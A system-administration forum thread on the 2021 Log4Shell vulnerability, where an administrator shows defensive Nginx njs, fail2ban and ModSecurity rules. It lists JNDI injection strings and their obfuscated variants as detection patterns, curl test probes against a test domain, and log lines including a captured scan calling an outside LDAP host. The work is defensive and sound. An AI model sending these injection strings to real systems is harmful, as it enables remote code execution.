Get the most out of your Centmin Mod LEMP stack
Become a Member

Security Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (Log4Shell)

Discussion in 'System Administration' started by Revenge, Dec 11, 2021.

  1. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    that's what contains means :)

     
  2. pamamolf

    pamamolf Premium Member Premium Member

    4,070
    427
    83
    May 31, 2014
    Ratings:
    +832
    Local Time:
    2:20 PM
    Nginx-1.25.x
    MariaDB 10.3.x
    Damn :)

    Anyway i remove it...

    Thanks for the clarification :)
     
  3. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
  4. deltahf

    deltahf Premium Member Premium Member

    583
    264
    63
    Jun 8, 2014
    Ratings:
    +484
    Local Time:
    7:20 AM
  5. Benjamin74

    Benjamin74 Member

    76
    7
    8
    May 2, 2016
    Ratings:
    +18
    Local Time:
    1:20 PM
    Excuse the dumb question but since it's called "Apache Log4j Zero-Day Exploit"... isn't it an apache only problem ?

    i.e. are we concerned in any way with CMM ?
     
  6. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Yeah nothing if you're running updated Elasticsearch 6.8.21/22 or 7.16.1.

    Cloudflare WAF has some protections for log4j - though there are some known bypasses that have been found, so CF WAF needs some updates for them.

    If you don't use Cloudflare, you'd need other means of protecting your server. Below is a example of one way you can do this using Centmin Mod Nginx optionally supported Nginx njs module and njs javascript outlined at GitHub - tippexs/nginx-njs-waf-cve2021-44228: NGINX njs based request inspection configuration for IOCs of Log4Shell vulnerability to inspect request headers and POST bodies requests combined with Centmin Mod fail2ban implementation I updated for log4j vulnerability. There's no support provided for this other ensuring Nginx njs module is installed. The Centmin Mod fail2ban implementation is provided as is and it's up to you to configure it further for your needs or issues.

    This is literally the first time using Nginx njs script implementation at GitHub - tippexs/nginx-njs-waf-cve2021-44228: NGINX njs based request inspection configuration for IOCs of Log4Shell vulnerability

    set in persistent config file /etc/centminmod/custom_config.inc

    Code (Text):
    NGINX_NJS='y'
    NGXDYNAMIC_NJS='y'


    recompile Centmin Mod via centmin.sh menu option 4 to enable Nginx njs module support.

    Yes I am also playing with Centmin Mod's optional ModSecurity Nginx connector module support updates.

    Download cve.js which is Nginx njs javascript code to inspect request headers and POST-bodies for log4j scanning attempts.
    Code (Text):
    wget -4 https://github.com/tippexs/nginx-njs-waf-cve2021-44228/raw/main/cve.js -O /usr/local/nginx/conf/cve.js
    

    Then set the directives as instructed at
    Code (Text):
    js_import cve from /usr/local/nginx/conf/cve.js;
    js_set $isJNDI cve.inspect;
    

    Code (Text):
    if ( $isJNDI = "1" ) {  return 404 "Not Found!\n"; }
    

    Excerpt from demo Centmin Mod Nginx vhost site log4j.domain.com

    Code (Text):
    js_import cve from /usr/local/nginx/conf/cve.js;
    js_set $isJNDI cve.inspect;
    
    server {
      listen 443 ssl http2 reuseport;
      server_name log4j.domain.com www.log4j.domain.com;
    
      ssl_dhparam /usr/local/nginx/conf/ssl/log4j.domain.com/dhparam.pem;
      ssl_certificate      /usr/local/nginx/conf/ssl/log4j.domain.com/log4j.domain.com.crt;
      ssl_certificate_key  /usr/local/nginx/conf/ssl/log4j.domain.com/log4j.domain.com.key;
      include /usr/local/nginx/conf/ssl_include.conf;
    
      # cloudflare authenticated origin pull cert community.centminmod.com/threads/13847/
      #ssl_client_certificate /usr/local/nginx/conf/ssl/cloudflare/log4j.domain.com/origin.crt;
      #ssl_verify_client on;
    
      if ( $isJNDI = "1" ) {  return 404 "Not Found!\n"; }
     
      ...snipped...

    From nginx-njs-waf-cve2021-44228/cve.js at main · tippexs/nginx-njs-waf-cve2021-44228 a list of regexes the cve.js is looking for for log4j vulnerability scans. Doesn't seem to match all the ones out there so you'd need to supplement these regexes with more of your own. My Centmin Mod Nginx fail2ban regexes for log4j vulnerability scan are more extensive GitHub - centminmod/centminmod-fail2ban: fail2ban setup for centminmod.com LEMP stack with CSF Firewall. Though it's missing some from this cve.js example. So can merge cve.js and my fail2ban regexes for a more extensive list to detect.
    Code (Text):
    function checkIOCStrings(r, input) {
        let found = "";
        const iocList = [
            '${jndi:ldap:/',
            '${jndi:rmi:/',
            '${jndi:ldaps:/',
            '${jndi:dns:/',
            '/$%7bjndi:',
            '%24%7bjndi:',
            '$%7Bjndi:',
            '%2524%257Bjndi',
            '%2F%252524%25257Bjndi%3A',
            '${jndi:${lower:',
            '${::-j}${',
            '${jndi:nis',
            '${jndi:nds',
            '${jndi:corba',
            '${jndi:iiop',
            '${${env:BARFOO:-j}',
            '${::-l}${::-d}${::-a}${::-p}',
            '${base64:JHtqbmRp',
            '/Basic/Command/Base64/',
            new RegExp(/\$\{\s*(j|\$?\{.+?\})/)
        ]

    Example testing one of the known regexes from cve.js

    Code (Text):
    domain=log4j.domain.com
    curl -4 -X GET -A '${base64:JHtqbmRp' -skD - https://$domain
    HTTP/2 404
    date: Tue, 14 Dec 2021 07:52:46 GMT
    content-type: application/octet-stream
    content-length: 11
    server: nginx centminmod
    x-powered-by: centminmod
    x-xss-protection: 1; mode=block
    x-content-type-options: nosniff
    
    Not Found!


    The Not Found! matches the cve.js njs directive at

    Code (Text):
    if ( $isJNDI = "1" ) {  return 404 "Not Found!\n"; }


    Now if you try another known regex but this time one that is also detected by my Centmin Mod Nginx fail2ban implementation at GitHub - centminmod/centminmod-fail2ban: fail2ban setup for centminmod.com LEMP stack with CSF Firewall

    1st request caught by Nginx njs cve.js script detection with Not Found! returned

    Code (Text):
    domain=log4j.domain.com
    curl -4 -X GET -A '${jndi:ldap:/' -skD - https://$domain
    HTTP/2 404
    date: Tue, 14 Dec 2021 07:55:37 GMT
    content-type: application/octet-stream
    content-length: 11
    server: nginx centminmod
    x-powered-by: centminmod
    x-xss-protection: 1; mode=block
    x-content-type-options: nosniff
    
    Not Found!


    2nd request ends up empty as fail2ban implementation caught the 2nd request and blocked it at Centmin Mod CSF Firewall level

    Code (Text):
    domain=log4j.domain.com
    curl -4 -X GET -A '${jndi:ldap:/' -skD - https://$domain


    From fail2ban logs check the 07:55 timestamp

    Code (Text):
    tail -2 /var/log/fail2ban.log
    2021-12-14 07:55:37,716 fail2ban.filter         [25296]: INFO    [nginx-log4j] Found xxx.xxx.xxx.xxx - 2021-12-14 07:55:37
    2021-12-14 07:55:37,814 fail2ban.actions        [25296]: NOTICE  [nginx-log4j] Ban xxx.xxx.xxx.xxx


    Then check fail2ban regex for log4j.conf filter action to see the matches. This is an excerpt rather than full log containing some of my test scans for my fail2ban implementation but notice the last one is for 07:55 timestamp. That's the one blocked for the above test. So Nginx njs cve.js javascript implementation blocked the 1st request and logged in Nginx vhost access log for log4j.domain.com and then 2nd attempted request was blocked at CSF Firewall level due to my fail2ban implementation detecting the 2nd request in Nginx vhost access log and then passing the offending IP address to CSF Firewall running on Centmin Mod server.

    Code (Text):
    fail2ban-regex "/home/nginx/domains/log4j.domain.com/log/access.log" /etc/fail2ban/filter.d/nginx-log4j.conf --print-all-matched
    
    Running tests
    =============
    
    Use   failregex filter file : nginx-log4j, basedir: /etc/fail2ban
    Use         log file : /home/nginx/domains/log4j.domain.com/log/access.log
    Use         encoding : UTF-8
    
    
    Results
    =======
    
    Failregex: 34 total
    |-  #) [# of hits] regular expression
    |   1) [25] ^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\$?\{?jndi:(ldap[s]?|rmi|dns|iiop|corba|nds|http|\$\{lower).*
    |   2) [9] ^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\$?\{?((lower|upper):j(ndi)?|{::-j}|{::-n}|{::-d}|{::-i}|{(lower|upper):(rmi|n|d|i|ı)}|env:ENV_NAME).*
    `-
    
    Ignoreregex: 0 total
    
    Date template hits:
    |- [# of hits] date format
    |  [48] Day(?P<_sep>[-/])MON(?P=_sep)ExYear[ :]?24hour:Minute:Second(?:\.Microseconds)?(?: Zone offset)?
    `-
    
    Lines: 48 lines, 0 ignored, 34 matched, 14 missed
    [processed in 0.05 sec]
    
    |- Matched line(s):
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:16:57 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:19:09 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap:"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:23:17 +0000] "GET /log4j.html HTTP/2.0" 404 146 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:24:49 +0000] "HEAD / HTTP/1.1" 200 0 "-" "${jndi:ldap"
    |  112.74.52.90 - - [13/Dec/2021:05:29:12 +0000] "GET /$%7Bjndi:ldap://45.xxx.xxx.xxx:1389/Exploit%7D HTTP/1.1" 404 146 "-" "Mozilla/5.0 zgrab/0.x"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:29:18 +0000] "PUT / HTTP/2.0" 405 150 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:37:16 +0000] "GET /log4j.html HTTP/2.0" 404 146 "-" "jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:40:57 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:40:59 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:05:44:51 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:07:42:41 +0000] "GET /log4j.html HTTP/1.1" 404 146 "jndi:ldap" "curl/7.80.0"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:12:19:34 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${${lower:jndi}"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:12:20:38 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:12:26:16 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "(${${::-n}$"
    |  xxx.xxx.xxx.xxx - - [13/Dec/2021:12:30:58 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${lower:rmi}"
    |  xxx.xxx.xxx.xxx - - [14/Dec/2021:00:21:45 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
    |  xxx.xxx.xxx.xxx - - [14/Dec/2021:01:16:20 +0000] "GET / HTTP/2.0" 200 6592 "-" "${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}"
    |  xxx.xxx.xxx.xxx - - [14/Dec/2021:07:55:37 +0000] "GET / HTTP/2.0" 404 11 "-" "${jndi:ldap:/"


    Nginx njs module is cool Harnessing the Power and Convenience of JavaScript for Each Request with the NGINX JavaScript Module | NGINX :D
     
  7. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Nothing to do with web servers, just Apache Foundation owns log4j at https://logging.apache.org/log4j/2.x/index.html which is a Java based logging utility https://en.wikipedia.org/wiki/Log4j

    So any software that depends on and uses log4j could be impacted i.e. Elasticsearch is a common one for Xenforo users due to Xenforo Enhanced search addon using Elasticsearch. There's over 470,000 Git repos that use log4j according to Network Dependents · apache/log4j.

    Amazon S3 and Backblaze S3 also vulnerable. Backblaze took down their system for 7+ hrs to update! List of attack surfaces confirmed GitHub - YfryTchsGD/Log4jAttackSurface including Apple, Steam, Twitter, Amazon, Tesla, Minecraft, Google etc. Also cPanel's option dovecot solr search plugin uses log4j too.
     
  8. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Cloudflare's Firewall seems to have added JA3 fingerprint profiling as evidenced in their CF Firewall event log fields. So decided to test and add JA3 fingerprint profiling support to Centmin Mod 123.09beta01+ and higher https://community.centminmod.com/th...t-nginx-module-support-in-123-09beta01.22259/ to see what JA3 fingerprint profiling can be used for security wise :D

    cf-waf-log4j-rules-referer-useragent-fulluri-path-query-strings-04-event-tn.png

    I see those in CF Worker cf properties but looks like they added ja3Hash under botManagement

    Code (Text):
    "botManagement": {
       "ja3Hash": "c8446f59cca2149cb5f56ced4b448c8d",
       "staticResource": false,
       "verifiedBot": false,
       "score": 1
      },


    So maybe only Enterprise Bot Management feature for JA3 fingerprinting
     
    Last edited: Dec 15, 2021
  9. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Looks like log4j vulnerability is also targetting Windows machines for Ransomware Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild !

    Cloudflare also posted updated blog post announcing CF Enterprise users with Logpush support can sanitize their logs from log4j scan attempts https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation/ where you send CF edge logs via Logpush to 3rd party systems for processing.
    i.e. I send my CF edge server logs via Logpush to AWS S3 for storage and parsing and processing :) And eventually will switch to Cloudflare R2 S3 compatible storage :D
     
  10. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Cloudflare Blog update on Log4j vulnerability and examples https://blog.cloudflare.com/exploit...losure-and-evolution-of-waf-evasion-patterns/

     
  11. Jimmy

    Jimmy Well-Known Member

    1,787
    390
    83
    Oct 24, 2015
    East Coast USA
    Ratings:
    +989
    Local Time:
    7:20 AM
    Great article by Nicholas Weaver.
    What's the Deal with the Log4Shell Security Nightmare?

    Imagine the other ZEROs out there? 0, 0, 0, 0, 0, 0, 0, 0...
     
    Last edited: Dec 15, 2021
  12. buik

    buik “The best traveler is one without a camera.”

    2,008
    521
    113
    Apr 29, 2016
    Flanders
    Ratings:
    +1,658
    Local Time:
    1:20 PM
  13. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Yeah wonder how many out of date articles will get updated to say update to log4j v2.16 for full fix? Or just leave outdated info incorrectly stating that log4j v2.15 is the fixed version when it isn't a complete fix.
     
  14. buik

    buik “The best traveler is one without a camera.”

    2,008
    521
    113
    Apr 29, 2016
    Flanders
    Ratings:
    +1,658
    Local Time:
    1:20 PM
    There is far too much fuss about this CVE.
    It seems that to many of the articles are focused on clicks (clickbait) rather than providing new in-depth information.

    After all, what have we seen? The Internet was said to be on fire,
    system administrators who did not have a weekend off, etc. etc.
     
  15. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    The potential for damage though is wide and high considering many run outdated software versions and many folks are unaware if their app/software use log4j as a dependency. Just this thread has @Benjamin74 as why Apache log4j is relevant to Nginx users due to not a clearer understanding of the scope of log4j vulnerability.

    It's the media's reporting of the severity of the log4j vulnerability that is making folks more aware and asking the questions of whether their apps use log4j and are impacted :)
     
  16. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Modsecurity posted an updated generic regex for log4j at CRS and Log4j / Log4Shell / CVE-2021-44228 – OWASP ModSecurity Core Rule Set

    Testing it with optional Modsecurity nginx module for Centmin Mod Nginx - test curl scan user agent based hit Modsecurity with 403 permission denied error

    Code (Text):
    tail -1 /var/log/modsec_audit.log | jq -r '.[] | del(.response.body) | [ .response, .messages ]'
    [
      {
        "http_code": 403,
        "headers": {
          "Server": "nginx centminmod",
          "Date": "Wed, 15 Dec 2021 14:05:22 GMT",
          "Content-Length": "146",
          "Content-Type": "text/html",
          "X-Content-Type-Options": "nosniff",
          "Connection": "close",
          "X-Xss-Protection": "1; mode=block",
          "X-Powered-By": "centminmod",
          "X-FP-Hash": "e133d0c345d8b16c7d4d3e978ccd55b6"
        }
      },
      [
        {
          "message": "Potential Remote Command Execution: Log4j CVE-2021-44228",
          "details": {
            "match": "Matched \"Operator `Rx' with parameter `(\\${[^}]*\\${|\\${jndi)' against variable `REQUEST_HEADERS:user-agent' (Value: `%24%7bjndi:' )",
            "reference": "o0,6o0,6v50,11t:urlDecodeUni,t:cmdline",
            "ruleId": "1005",
            "file": "/usr/local/nginx/modsec/before-crs-generic.conf",
            "lineNumber": "3",
            "data": "Matched Data: ${jndi: found within REQUEST_HEADERS:user-agent",
            "severity": "2",
            "ver": "OWASP_CRS/3.4.0-dev",
            "rev": "",
            "tags": [
              "application-multi",
              "language-java",
              "platform-multi",
              "attack-rce",
              "OWASP_CRS",
              "capec/1000/152/137/6",
              "PCI/6.5.2",
              "paranoia-level/1"
            ],
            "maturity": "0",
            "accuracy": "0"
          }
        },
        {
          "message": "Inbound Anomaly Score Exceeded (Total Score: 5)",
          "details": {
            "match": "Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `5' )",
            "reference": "",
            "ruleId": "949110",
            "file": "/usr/local/nginx/coreruleset-3.3.2/rules/REQUEST-949-BLOCKING-EVALUATION.conf",
            "lineNumber": "80",
            "data": "",
            "severity": "2",
            "ver": "OWASP_CRS/3.3.2",
            "rev": "",
            "tags": [
              "application-multi",
              "language-multi",
              "platform-multi",
              "attack-generic"
            ],
            "maturity": "0",
            "accuracy": "0"
          }
        }
      ]
    ]

    Modsecurity doesn't use JSON log format out of the box, so had to switch to JSON logging for easier log parsing :)
     
  17. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    https://blog.cloudflare.com/protect...45046-the-additional-log4j-rce-vulnerability/

    The 4th new Cloudflare WAF rule which is disabled by default due to higher false positives probability

    cf-waf-log4j-rules-02.png

    Cloudflare Enterprise users can set WAF mode to simulate to log but not block to test it out first :D

    cf-waf-log4j-rules-02a.png
     
    Last edited: Dec 16, 2021
  18. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    Looks like OVH's own internal cloud systems are impacted by log4j vulnerability https://blog.ovhcloud.com/log4shell-how-to-protect-my-cloud-workloads/

     
  19. eva2000

    eva2000 Administrator Staff Member

    53,811
    12,159
    113
    May 24, 2014
    Brisbane, Australia
    Ratings:
    +18,711
    Local Time:
    10:20 PM
    Nginx 1.27.x
    MariaDB 10.x/11.4+
    catnip for cyber criminals Here is what you need to know about the Log4j software security fault

     
  20. pamamolf

    pamamolf Premium Member Premium Member

    4,070
    427
    83
    May 31, 2014
    Ratings:
    +832
    Local Time:
    2:20 PM
    Nginx-1.25.x
    MariaDB 10.3.x